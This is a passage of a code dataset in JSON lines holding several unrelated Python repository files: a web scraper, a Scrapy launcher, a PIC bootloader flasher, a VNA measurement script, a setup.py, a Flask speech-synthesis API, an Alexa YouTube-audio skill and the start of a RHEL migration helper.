response.content\n\nparsed_html = BeautifulSoup(bytes_html,'html.parser', from_encoding='utf8')\n\ntop_jobs_heading = parsed_html.select_one('#intro > div:nth-child(1) > div:nth-child(1) > article:nth-child(1) > h2:nth-child(1)')\nif top_jobs_heading is not None:\n article = top_jobs_heading.parent\n # print(article)\n if article is not None:\n for p in article.select('p'):\n print(p.text)","repo_name":"tenoriopedro/CursoUdemy","sub_path":"Aulas-seccao6/aula312.py","file_name":"aula312.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42325698070","text":"# 导入cmdline\nfrom scrapy import cmdline\n# os\nimport os\n# json\nimport json\n# sys\nimport sys\n\nprint(sys.argv[1])\n\n# 读取规则文件\ndef readFile():\n f = open('../res/rule1.txt', 'r', encoding='utf-8')\n return json.loads(f.read()) # 将规则文件转换成json\n\n# 程序入口\nif __name__ == '__main__':\n param = {}\n # 定位python工作目录到A:/0_document/pythonWorkSpace/ysu/ysu\n # os.chdir(\"A:/0_document/pythonWorkSpace/ysu/ysu\");\n # 初始化param\n param['start'] = readFile()\n param['args'] = eval(sys.argv[1])\n # param['args'] = {'num': 5, 'b2e': ['2019-09-22', '2019-01-01'], 'urls': ['http://ysu.edu.cn/index/xwtx.htm']}\n\n print(param)\n # 执行爬虫\n cmdline.execute(['scrapy', 'crawl', 'ysu_spider','-a','param= %r' % param,'-s','LOG_FILE=wiki.log'])\n # cmdline.execute(['scrapy', 'crawl', 'ysu_spider', '-a', 'param= %s' % param])","repo_name":"yanareat/ysuC","sub_path":"ysuC/ysu/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72893819929","text":"import serial\nimport serial.tools.list_ports\nimport serial.tools.miniterm\nimport sys\nimport crcmod\nimport re\nimport time\nimport argparse\n\n\n# example PIC16F887:\n# write: 8W (16B)\n# erase: 16W (32B)\n# erase is automatic when writing first 8 words in a 16-word block\n\n\ndef main(port, hexFile):\n\tbl = Bootloader(port)\n\tprint('Using port', bl.port.name)\n\tbl.set_break(True)\n\tinput('Reset PIC if not in bootloader mode, then press Enter...')\n\tbl.set_break(False)\n\tprint('Connecting...')\n\tbl.connect()\n\tprint('Found device ' + bl.dev_info[2] + ', bootloader v.' + str(bl.bl_info['version_major']) + '.' + str(bl.bl_info['version_minor']))\n\tif hexFile is None:\n\t\tprint('No hex file given, exiting.')\n\t\treturn 0\n\tbl.load_hex_file(hexFile)\n\tprint('Writing...')\n\tbl.write()\n\tprint('Verifying...')\n\tbl.verify()\n\tprint('Running...')\n\tbl.run()\n\tprint('Launching serial terminal...')\n\n\t# run serial.tools.miniterm (some code copied from miniterm's main function)\n\tbl.port.baudrate = 19200 # reuse our port without closing and reopening it\n\n\t# define our own filter to display non-printable chars as '' hexadecimal\n\tclass MyFilter(serial.tools.miniterm.Transform):\n\t\tdef rx(self, text):\n\t\t\tr = ''\n\t\t\tfor c in text:\n\t\t\t\tif ' ' <= c < '\\x7f' or c in '\\r\\n\\b\\t':\n\t\t\t\t\tr += c\n\t\t\t\telse:\n\t\t\t\t\tr += '<' + '{:02x}'.format(ord(c)) + '>'\n\t\t\treturn r\n\t\techo = rx\n\t# add it to miniterm's table\n\tserial.tools.miniterm.TRANSFORMATIONS['my_filter'] = MyFilter\n\n\tminiterm = serial.tools.miniterm.Miniterm(bl.port, filters=('my_filter',), eol='lf')\n\tminiterm.exit_character = serial.tools.miniterm.unichr(0x03) # CTRL-C\n\tminiterm.menu_character = serial.tools.miniterm.unichr(0x14) # CTRL-T\n\tminiterm.set_rx_encoding('ascii')\n\tminiterm.set_tx_encoding('ascii')\n\n\tsys.stderr.write('--- Miniterm on {p.name} {p.baudrate},{p.bytesize},{p.parity},{p.stopbits} ---\\n'.format(\n\t\tp=miniterm.serial))\n\tsys.stderr.write('--- Quit: {} | Menu: {} | Help: {} followed by {} ---\\n'.format(\n\t\tserial.tools.miniterm.key_description(miniterm.exit_character),\n\t\tserial.tools.miniterm.key_description(miniterm.menu_character),\n\t\tserial.tools.miniterm.key_description(miniterm.menu_character),\n\t\tserial.tools.miniterm.key_description('\\x08')))\n\n\tminiterm.start()\n\ttry:\n\t\tminiterm.join(True)\n\texcept KeyboardInterrupt:\n\t\tpass\n\tsys.stderr.write(\"\\n--- exit ---\\n\")\n\tminiterm.join()\n\tminiterm.close()\n\n\n\n\nclass Bootloader:\n\tSTX = 0x0F\n\tETX = 0x04\n\tDLE = 0x05\n\tcrc16_func = crcmod.mkCrcFun(0x11021, 0, False, 0)\n\n\n\tdef __init__(self, port = None, baudrate = None, verbose = False):\n\t\tself.port = None\n\t\tself.bl_info = {}\n\t\tself.dev_info = None\n\t\tself.verbose = verbose\n\n\t\tif baudrate is None: baudrate = 115200\n\t\tif port is None:\n\t\t\tall_ports = serial.tools.list_ports.comports()\n\t\t\tfor p in all_ports:\n\t\t\t\tif p.vid == 0x0403 and p.pid == 0x6015:\n\t\t\t\t\tport = p.device\n\t\t\t\t\tbreak\n\t\t\tif port is None:\n\t\t\t\traise RuntimeError('device not found, is the driver installed?')\n\t\tself.port = serial.Serial(port, baudrate)\n\n\n\tdef set_break(self, b):\n\t\tself.port.break_condition = b\n\n\n\tdef connect(self):\n\t\tself.port.reset_input_buffer() # needed if previous program was writing to serial\n\t\tself.send_command(b'\\x00')\n\t\treply = self.get_reply(12)\n\t\tself.bl_info['version_major'] = reply[2]\n\t\tself.bl_info['version_minor'] = reply[3]\n\t\tself.bl_info['family_id'] = reply[5] & 0x0F\n\t\tself.bl_info['command_mask'] = reply[4] | ((reply[5] & 0xF0) << 4)\n\t\tself.bl_info['start_bootloader'] = reply[6] | (reply[7] << 8) | (reply[8] << 16) | (reply[9] << 24)\n\t\tself.bl_info['end_bootloader'] = self.bl_info['start_bootloader'] + (reply[0] | (reply[1] << 8))\n\t\tself.bl_info['dev_id'] = reply[10] | (reply[11] << 8)\n\t\tfor d in Bootloader.device_db:\n\t\t\tif d[0] == self.bl_info['dev_id'] and d[1] == self.bl_info['family_id']:\n\t\t\t\tself.dev_info = d\n\t\tif self.dev_info is None:\n\t\t\traise RuntimeError('unsupported device')\n\t\tif self.bl_info['command_mask'] != 0:\n\t\t\traise RuntimeError('erase not implemented yet (device has no auto-erase)')\n\t\t# some sanity checks\n\t\tself.bytes_per_word = self.dev_info[3]\n\t\tself.words_write = self.dev_info[4]\n\t\tself.words_erase = self.dev_info[5]\n\t\tself.words_per_packet = 32\n\t\tif self.words_per_packet % self.words_erase or self.words_per_packet % self.words_write or self.bytes_per_word != 2 \\\n\t\t\tor self.bl_info['start_bootloader'] == 0 or self.bl_info['start_bootloader'] % self.words_erase:\n\t\t\t\traise RuntimeError('I don\\'t like these numbers!')\n\n\n\tdef load_hex_file(self, filename):\n\t\tself.hex_data = [] # lists [addr, [data]]\n\t\tupper_address = 0\n\t\teof = False\n\t\terr = RuntimeError('hex file format error')\n\t\twith open(filename, 'r') as f:\n\t\t\tfor line in f:\n\t\t\t\tline = line.rstrip()\n\t\t\t\tif not len(line): continue\n\t\t\t\tif not re.fullmatch('^:([0-9a-fA-F][0-9a-fA-F])+$', line):\n\t\t\t\t\traise err\n\t\t\t\tv = bytes.fromhex(line[1:])\n\t\t\t\tif eof or len(v) < 5 or len(v) != v[0] + 5 or v[0] % 2:\n\t\t\t\t\traise err\n\t\t\t\tif ((256 - sum(v[:-1])) & 0xFF) != v[-1]: # checksum\n\t\t\t\t\traise err\n\t\t\t\tif v[3] == 1 and v[0] == 0:\n\t\t\t\t\teof = True\n\t\t\t\telif v[3] == 4 and v[0] == 2:\n\t\t\t\t\tupper_address = v[4] * 256 + v[5]\n\t\t\t\telif v[3] == 0:\n\t\t\t\t\taddr = (upper_address * 65536 + v[1] * 256 + v[2]) // 2\n\t\t\t\t\twords = [v[i] + v[i + 1] * 256 for i in range(4, len(v) - 1, 2)]\n\t\t\t\t\tif addr >= self.dev_info[7]:\n\t\t\t\t\t\tprint('!! ignoring address', hex(addr))\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif not len(self.hex_data) or self.hex_data[-1][0] + len(self.hex_data[-1][1]) != addr:\n\t\t\t\t\t\tself.hex_data.append([addr, []])\n\t\t\t\t\tself.hex_data[-1][1].extend(words)\n\t\t\t\telse:\n\t\t\t\t\traise err\n\t\t\tif not eof or not len(self.hex_data): raise err\n\n\t\tif self.verbose:\n\t\t\tprint('Program:', [(hex(r[0]), len(r[1])) for r in self.hex_data])\n\t\t#for a in self.hex_data: print(hex(a[0]), len(a[1]), [hex(x) for x in a[1]])\n\n\t\t# we need an extra erase-block before bootloader to remap reset vector\n\t\tlimit = self.bl_info['start_bootloader'] - self.words_erase\n\t\t#print('limit', hex(limit))\n\n\t\t# we must ensure that all ranges are multiple of words_erase\n\t\t# and aligned at words_erase\n\t\tfor i in range(0, len(self.hex_data)):\n\t\t\tr = self.hex_data[i]\n\t\t\tr_prev = self.hex_data[i - 1] if i > 0 else None\n\t\t\tr_next = self.hex_data[i + 1] if i < (len(self.hex_data) - 1) else None\n\t\t\tif r_prev is not None and r_prev[0] + len(r_prev[1]) > r[0]:\n\t\t\t\traise RuntimeError('overlapping program ranges')\n\t\t\taddr = r[0]\n\t\t\tif r[0] % self.words_erase:\n\t\t\t\t# not aligned\n\t\t\t\taddr = r[0] - (r[0] % self.words_erase) # correct starting address\n\t\t\t\tif r_prev is None or (r_prev[0] + len(r_prev[1])) <= addr:\n\t\t\t\t\tr[1] = [0] * (r[0] - addr) + r[1]\n\t\t\t\t\tr[0] = addr\n\t\t\t\telif (r_prev[0] + len(r_prev[1])) == r[0]:\n\t\t\t\t\tpass # ok, they will be merged\n\t\t\t\telse:\n\t\t\t\t\t# right alignment of previous range should have been fixed at previous step\n\t\t\t\t\traise RuntimeError('error reorganizing address ranges')\n\t\t\tif (len(r[1]) + (r[0] - addr)) % self.words_erase:\n\t\t\t\tnewlen = ((len(r[1]) + (r[0] - addr)) // self.words_erase + 1) * self.words_erase - (r[0] - addr)\n\t\t\t\tif r_next is None or r[0] + newlen <= r_next[0]:\n\t\t\t\t\tr[1] += [0] * (newlen - len(r[1]))\n\t\t\t\telse:\n\t\t\t\t\t# we have to merge r with r_next after filling the gap\n\t\t\t\t\tr[1] += [0] * (r_next[0] - r[0] - len(r[1]))\n\t\t\t\t\t# will be merged later\n\n\t\t# merge ranges that must be merged\n\t\ti = 0\n\t\twhile (i < len(self.hex_data)):\n\t\t\tif i < (len(self.hex_data) - 1) and self.hex_data[i][0] + len(self.hex_data[i][1]) == self.hex_data[i + 1][0]:\n\t\t\t\tself.hex_data[i][1] += self.hex_data[i + 1][1]\n\t\t\t\tdel self.hex_data[i + 1]\n\t\t\t\ti = 0 # restart scan\n\t\t\telse:\n\t\t\t\ti += 1\n\n\t\tif self.hex_data[-1][0] + len(self.hex_data[-1][1]) > limit:\n\t\t\traise RuntimeError('program not fitting in flash')\n\n\t\t# check that program starts with a GOTO to start address (reset vector)\n\t\tr = self.hex_data[0]\n\t\tif r[0] != 0 or len([opcode for opcode in r[1][0:4] if opcode & 0x3800 == 0x2800]) == 0:\n\t\t\traise RuntimeError('program does not appear to contain a valid reset vector')\n\n\t\t# remap reset vector for bootloader\n\t\tself.hex_data.append([limit, [0] * self.words_erase])\n\t\tself.hex_data[-1][1][-5] = 0x018A # clrf PCLATH\n\t\tself.hex_data[-1][1][-4:] = self.hex_data[0][1][:4]\n\t\toperand = self.bl_info['start_bootloader'] + 3\n\t\tself.hex_data[0][1][0] = 0x3000 | ((operand >> 8) & 0xFF) # movlw high(BootloaderBreakCheck)\n\t\tself.hex_data[0][1][1] = 0x008A # movwf PCLATH\n\t\tself.hex_data[0][1][2] = 0x2800 | (operand & 0x7FF) # goto BootloaderBreakCheck\n\n\t\t#print('--------------------------------------')\n\t\t#for a in self.hex_data: print(hex(a[0]), len(a[1]), [hex(x) for x in a[1]])\n\t\tif self.verbose:\n\t\t\tprint('Adjusted program:', [(hex(r[0]), len(r[1])) for r in self.hex_data])\n\n\t\tfor a in self.hex_data:\n\t\t\tfor b in a[1]:\n\t\t\t\tif b > 0x3FFF:\n\t\t\t\t\tprint('Warning: opcode > 3FFF:', hex(b))\n\n\n\tdef write(self):\n\t\tfor r in self.hex_data:\n\t\t\taddr = r[0]\n\t\t\twhile addr < (r[0] + len(r[1])):\n\t\t\t\twords = min(self.words_per_packet, r[0] + len(r[1]) - addr)\n\t\t\t\tcmd = [ 0x04, (addr & 0xFF), ((addr >> 8) & 0xFF), ((addr >> 16) & 0xFF), 0, words // self.words_write]\n\t\t\t\tcmd += sum([[w & 0xFF, (w >> 8) & 0xFF ] for w in r[1][addr - r[0] : addr - r[0] + words]], [])\n\t\t\t\t#print(hex(addr), words, [hex(x) for x in cmd])\n\t\t\t\tif self.verbose:\n\t\t\t\t\tprint('Writing', hex(addr), '(', words, 'words)')\n\t\t\t\tself.send_command(bytes(cmd))\n\t\t\t\tif self.get_reply(1) != b'\\x04':\n\t\t\t\t\traise RuntimeError('wrong reply')\n\t\t\t\taddr += words\n\n\n\tdef verify(self):\n\t\t# verify CRCs\n\t\tfor r in self.hex_data:\n\t\t\tblocks = len(r[1]) // self.words_erase\n\t\t\tif self.verbose:\n\t\t\t\tprint('Verifying', hex(r[0]), blocks, 'blocks')\n\t\t\tcmd = [ 0x02, (r[0] & 0xFF), ((r[0] >> 8) & 0xFF), ((r[0] >> 16) & 0xFF), 0, (blocks & 0xFF), (blocks >> 8) & 0xFF]\n\t\t\tself.send_command(bytes(cmd))\n\t\t\treply = self.get_reply(blocks * 2, False)\n\t\t\t#print([hex(b) for b in reply])\n\t\t\tcrc = 0 # not reset to 0 for every block!\n\t\t\tfor i in range(0, len(r[1]), self.words_erase):\n\t\t\t\tcrc = Bootloader.crc16_func(bytes(sum([[w & 0xFF, (w >> 8) & 0xFF] for w in r[1][i : i + self.words_erase]], [])), crc) # previous CRC passed\n\t\t\t\t#print('@@@', hex(crc))\n\t\t\t\tif crc != reply[2 * i // self.words_erase] + reply[2 * i // self.words_erase + 1] * 256:\n\t\t\t\t\traise RuntimeError('verify error')\n\n\n\tdef run(self):\n\t\tself.send_command(b'\\x08')\n\t\tself.port.flush() # be sure command is sent before reusing serial port\n\n\n\tdef send_command(self, data):\n\t\tcrc16 = Bootloader.crc16_func(data)\n\t\tself.port.timeout = 0.1\n\t\tretry = 30\n\t\twhile retry:\n\t\t\tretry -= 1\n\t\t\tself.port.write([Bootloader.STX])\n\t\t\t#print('.', end='')\n\t\t\tr = self.port.read(1)\n\t\t\tif not len(r): continue\n\t\t\tif r[0] != Bootloader.STX:\n\t\t\t\traise RuntimeError('wrong reply')\n\t\t\tbreak\n\t\tif not retry:\n\t\t\traise RuntimeError('no reply')\n\t\tpkt = self.escape(data + bytes([ crc16 % 256, crc16 // 256 ]))\n\t\tself.port.write(pkt + bytes([ Bootloader.ETX ]))\n\n\n\tdef get_reply(self, payload_len, crc = True):\n\t\tself.port.timeout = 1\n\t\tpkt_len = payload_len + 3 if crc else payload_len + 1\n\t\tpkt = self.port.read(pkt_len)\n\t\t# there can be more bytes in case of escaped bytes\n\t\ttime.sleep(0.01)\n\t\tif self.port.in_waiting:\n\t\t\tpkt += self.port.read(self.port.in_waiting)\n\t\tpkt = self.unescape(pkt)\n\t\tif len(pkt) != pkt_len or pkt[-1] != Bootloader.ETX:\n\t\t\traise RuntimeError('no reply or wrong packet received')\n\t\tif crc:\n\t\t\tif Bootloader.crc16_func(pkt[:-3]) != (pkt[-3] + pkt[-2] * 256):\n\t\t\t\traise RuntimeError('CRC error')\n\t\t\treturn pkt[:-3]\n\t\telse:\n\t\t\treturn pkt[:-1]\n\n\n\tdef escape(self, data):\n\t\tr = bytearray()\n\t\tfor b in data:\n\t\t\tif b == Bootloader.STX or b == Bootloader.ETX or b == Bootloader.DLE:\n\t\t\t\tr.extend([ Bootloader.DLE, b ])\n\t\t\telse:\n\t\t\t\tr.append(b)\n\t\treturn r\n\n\n\tdef unescape(self, data):\n\t\tr = bytearray()\n\t\tescape = False\n\t\tfor b in data:\n\t\t\tif b == Bootloader.DLE and not escape:\n\t\t\t\tescape = True\n\t\t\telse:\n\t\t\t\tr.append(b)\n\t\t\t\tescape = False\n\t\treturn r\n\n\n\tdevice_db = (\n\t\t# read from original devices.db (sqlite), table DEVICES, excluding DEVICEROWID field\n\t\t# 0: device_id, 1: family_id, 2: PARTNAME, 3: BYTESPERWORDFLASH, 4: WRITEFLASHBLOCKSIZE, 5: ERASEFLASHBLOCKSIZE, 6: STARTFLASH, 7: ENDFLASH,\n\t\t# 8: STARTEE, 9: ENDEE, 10: STARTUSER, 11: ENDUSER, 12: STARTCONFIG, 13: ENDCONFIG, 14: STARTDEVICEID, 15: ENDDEVICEID, 16: DEVICEIDMASK, 17: STARTGPR, 18: ENDGPR\n\t\t(260,2,'PIC16F887',2,8,16,0,8192,8448,8704,8192,8196,8199,8201,8198,8199,16352,0,512),\n\t)\n\n\n###########################\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('hexFile', help='executable program in hex format, optional', nargs='?')\n\tparser.add_argument('-p', metavar='port', nargs=1, help='serial port')\n\targs = parser.parse_args()\n\tsys.exit(main(None if args.p is None else args.p[0], args.hexFile))\n","repo_name":"MAlessandrini-Univpm/an1310-python","sub_path":"an1310.py","file_name":"an1310.py","file_ext":"py","file_size_in_byte":12666,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"41775894350","text":"import qt\r\nimport numpy as np\r\nimport os\r\nimport shutil\r\nimport sys\r\n\r\n\r\n##################################################\r\ndef copy_script():\r\n shutil.copy2('%s'%sys.argv[0],'%s/%s'%(data.get_filepath()[:-(len(data_file_name)+11)],os.path.basename(sys.argv[0])))\r\n\r\n##################################################\r\n\r\n######### METAgen for spyview; careful with Y-axis flip and abort();\r\n\r\ndef generate_meta_file():\r\n metafile = open('%s.meta.txt' % data.get_filepath()[:-4], 'w')\r\n metafile.write('#inner loop\\n%s\\n%s\\n%s\\n%s\\n'%\r\n (num_points, start_freq, stop_freq, 'Frequency(Hz)'))\r\n metafile.write('#outer loop\\n%s\\n%s\\n%s\\n%s\\n'%\r\n (power_points, start_power, end_power, 'power(dBm)'))\r\n metafile.write('#outermost loop (unused)\\n1\\n0\\n1\\nNothing\\n')\r\n\r\n metafile.write('#for each of the values\\n')\r\n values = data.get_values()\r\n i=0\r\n while i=-60:\r\n return 1\r\n elif power<=-40 and power>-50:\r\n return 5\r\n elif power<=-30 and power>-40:\r\n return 10\r\n elif power<=-20 and power>-30:\r\n return 30\r\n elif power<=-10 and power>-20:\r\n return 100\r\n elif power<=0 and power>-10:\r\n return 1*kHz\r\n elif power<=12 and power>0:\r\n return 1*kHz\r\n\r\n\r\n\r\ndef bandwidth2(power):\r\n if power<=-50 and power>=-60:\r\n return 100\r\n elif power<=-40 and power>-50:\r\n return 100\r\n elif power<=-30 and power>-40:\r\n return 100\r\n elif power<=-20 and power>-30:\r\n return 300\r\n elif power<=-10 and power>-20:\r\n return 1000\r\n elif power<=0 and power>-10:\r\n return 1*kHz\r\n elif power<=20 and power>0:\r\n return 1*kHz\r\n\r\n\r\n\r\n########## USER INPUTS FOR SETTING THE MEASUREMENT ##########\r\n\r\ncenter =6.8842*GHz\r\nspan= 20*MHz\r\nnum_points = 2001\r\nstart_power = 20 #dBm\r\nend_power = -50 #dBm\r\npower_points = 15\r\nif_bw= bandwidth\r\nfilename='power_sweep_Ramya&syam'\r\n\r\nstart_freq=center-span/2\r\nstop_freq=center+span/2\r\n\r\n#############################################################\r\n\r\n#create the instrument\r\nznb = qt.instruments.create('ZNB20', 'RhodeSchwartz_ZNB20', address='TCPIP0::192.168.1.3::INSTR')\r\n#qs = qt.instruments.create('GS200', 'Yokogawa_GS200', address='USB0::0x0B21::0x0039::91T416206::INSTR')\r\nznb.reset()\r\n#znb.set_default_channel_config()\r\nznb.set_start_frequency(start_freq)\r\nznb.set_stop_frequency(stop_freq)\r\nznb.set_source_power(start_power)\r\nznb.set_numpoints(num_points)\r\nznb.set_if_bandwidth(bandwidth(start_power))\r\nznb.set_sweep_mode('single')\r\n\r\n### SETTING UP DATA FILE\r\ndata_file_name = raw_input('Enter name of data file: ')\r\ndata=qt.Data(name=data_file_name)\r\ndata.add_coordinate('power', units='dBm')\r\ndata.add_coordinate('Frequency', units='Hz')\r\ndata.add_value('S21 real')\r\ndata.add_value('S21 imag')\r\ndata.add_value('S21 abs')\r\n#data.add_value('S21 phase')\r\n\r\n\r\npower_list = np.linspace(start_power, end_power, power_points)\r\nfreq_array = np.linspace(start_freq, stop_freq, num=num_points)\r\nznb.rf_on()\r\n#raw_input()\r\n\r\nqt.mstart()\r\nznb.add_trace('S21')\r\n#znb.set_source_power(-33)\r\n\r\nfirst_time = True\r\n\r\n# Outer loop : Power sweep\r\nfor pw in power_list:\r\n #qt.msleep(0.1)\r\n print('Current power: '+str(pw))\r\n znb.set_source_power(pw)\r\n znb.set_if_bandwidth(bandwidth2(pw))\r\n qt.msleep(0.1)\r\n znb.send_trigger(wait=True)\r\n trace= znb.get_data('S21')\r\n znb.autoscale()\r\n pw_array = np.linspace(pw, pw, num=num_points)\r\n data.add_data_point(pw_array, freq_array,np.real(trace),np.real(trace),np.absolute(trace))\r\n if first_time:\r\n \tgenerate_meta_file()\r\n \tcopy_script()\r\n first_time = False\r\n\r\ndata.close_file()","repo_name":"svmjdr/qtlab","sub_path":"scripts/VNA_ZNB20/S21_powerSweep.py","file_name":"S21_powerSweep.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26230319792","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as f:\n long_description = f.read()\n\nsetuptools.setup(\n name=\"dragonglass\",\n version=\"0.0.1\",\n author=\"Ryan Willett\",\n author_email=\"ryan.willett@gmail.com\",\n description=\"Software package for Python to work with Obsidian notetaking software\",\n long_description=long_description,\n url=\"https://github.com/rtwillett/DragonGlass\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Licence :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\"\n ],\n install_requires=[\n \"wheel\",\n \"jupyter\"\n ]\n)\n","repo_name":"rtwillett/DragonGlass","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27843453527","text":"from __future__ import print_function\nimport os\nimport json\nfrom future.standard_library import install_aliases\nfrom flask import Flask, request, make_response\nfrom flask_cors import CORS, cross_origin\nfrom tacotron.synthesizer import Synthesizer\nfrom datasets import audio\nimport string\nimport random\nimport time\n\npath = 'logs-Tacotron/taco_pretrained/tacotron_model.ckpt-333000'\nsynth = Synthesizer()\nfrom hparams import hparams\nsynth.load(path, hparams=hparams)\n\nuse_gpu = True\nif use_gpu:\n import keras.backend as K\n from keras.backend.tensorflow_backend import set_session\n config = K.tf.ConfigProto()\n config.gpu_options.per_process_gpu_memory_fraction = 0.5\n set_session(K.tf.Session(config=config))\nelse:\n os.environ['CUDA_VISIBLE_DEVICES'] = '-1'\n\ninstall_aliases()\napp = Flask(__name__)\ncors = CORS(app)\n@app.route('/synthesis', methods=['POST'])\n@cross_origin()\n\ndef train():\n req = request.get_json(silent=True, force=True)\n res = processSynthesis(req)\n res = json.dumps(res, indent=4)\n r = make_response(res)\n r.headers['Content-Type'] = 'application/json'\n return r\n\n\ndef processSynthesis(req):\n sentence = req[\"sentence\"]\n wav = synth.synthesize_ssml(sentence)\n path = 'tmp/audio_'+str(time.time()) + '.wav'\n print(path)\n audio.save_wav(wav, path=path, sr=16000)\n return {'response': 'Synthesis done!', 'audio': path}\n\nif __name__ == '__main__':\n port = int(os.getenv('PORT', 5000))\n print(\"Starting app on port %d\" % port)\n app.run(debug=False, port=port,host = '0.0.0.0')\n\n\n\n\n\n","repo_name":"tuannamnguyen93/tacotron_vietnamese","sub_path":"demo_api.py","file_name":"demo_api.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"40128304412","text":"from flask import Blueprint, render_template\nfrom flask_ask_alphavideo import Ask, question, statement, audio, current_stream, logger, convert_errors\nfrom youtube_dl import YoutubeDL\nfrom pytube import *\nblueprint = Blueprint('blueprint_api', __name__, url_prefix=\"/api\")\nask = Ask(blueprint=blueprint)\n\n@ask.launch\ndef launch():\n card_title = render_template('card_title')\n question_text = render_template('welcome')\n return question(question_text).simple_card(card_title, question_text)\n\n\n@ask.intent('PlayList')\ndef start_playlist():\n speech = 'Heres a playlist of some sounds. You can ask me Next, Previous, or Start Over'\n stream_url = queue.start()\n yt = YouTube(stream_url)\n print(yt.streams.all()[0].url)\n return audio(speech).play(yt.streams.all()[0].url)\n\n\n@ask.intent('QueryIntent', mapping={'query': 'Query'})\ndef handle_query_intent(query):\n if not query or 'query' in convert_errors:\n return question('no results found, try another search query')\n\n data = ytdl.extract_info(f\"ytsearch:{query}\", download=False)\n search_results = data['entries']\n\n if not search_results:\n noresult = render_template('noresult')\n session.attributes[search_results] = search_results\n return question(noresult)\n\n result = search_results[0]\n song_name = result['title']\n channel_name = result['uploader']\n\n for format_ in result['formats']:\n if format_['ext'] == 'm4a':\n mp3_url = format_['url']\n playing = render_template('playing', song_name=song_name, channel_name=channel_name)\n return audio(playing).play(mp3_url)\n\n return question('noresult')\n\n\n# QueueManager object is not stepped forward here.\n# This allows for Next Intents and on_playback_finished requests to trigger the step\n@ask.on_playback_nearly_finished()\ndef nearly_finished():\n if queue.up_next:\n _infodump('Alexa is now ready for a Next or Previous Intent')\n # dump_stream_info()\n next_stream_render = queue.up_next\n yt = YouTube(next_stream_render)\n print(yt.streams.all()[0].url)\n next_stream = yt.streams.all()[0].url\n _infodump('Enqueueing {}'.format(next_stream))\n return audio().enqueue(next_stream)\n else:\n _infodump('Nearly finished with last song in playlist')\n\n\n@ask.on_playback_finished()\ndef play_back_finished():\n _infodump('Finished Audio stream for track {}'.format(queue.current_position))\n if queue.up_next:\n queue.step()\n _infodump('stepped queue forward')\n dump_stream_info()\n else:\n return statement('You have reached the end of the playlist!')\n\n\n# NextIntent steps queue forward and clears enqueued streams that were already sent to Alexa\n# next_stream will match queue.up_next and enqueue Alexa with the correct subsequent stream.\n@ask.intent('AMAZON.NextIntent')\ndef next_song():\n if queue.up_next:\n speech = 'playing next queued song'\n next_stream_render = queue.step()\n yt = YouTube(next_stream_render)\n print(yt.streams.all()[0].url)\n next_stream = yt.streams.all()[0].url\n _infodump('Stepped queue forward to {}'.format(next_stream))\n dump_stream_info()\n return audio(speech).play(next_stream)\n else:\n return audio('There are no more songs in the queue')\n\n\n@ask.intent('AMAZON.PreviousIntent')\ndef previous_song():\n if queue.previous:\n speech = 'playing previously played song'\n prev_stream_render = queue.step_back()\n yt = YouTube(prev_stream_render)\n print(yt.streams.all()[0].url)\n prev_stream = yt.streams.all()[0].url\n dump_stream_info()\n return audio(speech).play(prev_stream)\n\n else:\n return audio('There are no songs in your playlist history.')\n\n\n@ask.intent('AMAZON.StartOverIntent')\ndef restart_track():\n if queue.current:\n speech = 'Restarting current track'\n dump_stream_info()\n return audio(speech).play(queue.current, offset=0)\n else:\n return statement('There is no current song')\n\n\n@ask.on_playback_started()\ndef started(offset, token, url):\n _infodump('Started audio stream for track {}'.format(queue.current_position))\n dump_stream_info()\n\n\n@ask.on_playback_stopped()\ndef stopped(offset, token):\n _infodump('Stopped audio stream for track {}'.format(queue.current_position))\n\n\n@ask.intent('AMAZON.PauseIntent')\ndef pause():\n seconds = current_stream.offsetInMilliseconds / 1000\n msg = 'Paused the Playlist on track {}, offset at {} seconds'.format(\n queue.current_position, seconds)\n _infodump(msg)\n dump_stream_info()\n return audio(msg).stop().simple_card(msg)\n\n\n@ask.intent('AMAZON.ResumeIntent')\ndef resume():\n seconds = current_stream.offsetInMilliseconds / 1000\n msg = 'Resuming the Playlist on track {}, offset at {} seconds'.format(queue.current_position, seconds)\n _infodump(msg)\n dump_stream_info()\n return audio(msg).resume().simple_card(msg)\n\n\n@ask.session_ended\ndef session_ended():\n return \"{}\", 200\n","repo_name":"leonar91/video","sub_path":"thealphavideo/intents.py","file_name":"intents.py","file_ext":"py","file_size_in_byte":5057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15356973869","text":"\"\"\" Library for RHEL migration operations \"\"\"\nimport os\nfrom pathlib import Path\nfrom voithos.lib.migrate.linux_worker import LinuxWorker\nfrom voithos.lib.system import (\n error,\n run,\n assert_block_device_exists,\n mount,\n unmount,\n is_mounted,\n get_mount,\n get_file_contents,\n set_file_contents,\n debug,\n)\n\n\nclass RhelWorker(LinuxWorker):\n \"\"\" Operate on mounted RedHat systems \"\"\"\n\n def __init__(self, devices=None):\n \"\"\"Operate on mounted RedHat systems\n Accepts a collection of devices to operate upon\n \"\"\"\n debug(f\"Initiating RhelWorker with devices: {devices}\")\n super().__init__(devices=devices)\n\n def add_virtio_drivers(self, force=False):\n \"\"\" Install VirtIO drivers to mounted system \"\"\"\n if not self.was_root_mounted:\n error(\"ERROR: You must mount the volumes before you can add virtio drivers\", exit=True)\n self.debug_action(action=\"ADD VIRTIO DRIVERS\")\n ls_boot_lines = run(f\"ls {self.ROOT_MOUNT}/boot\")\n initram_lines = [\n line\n for line in 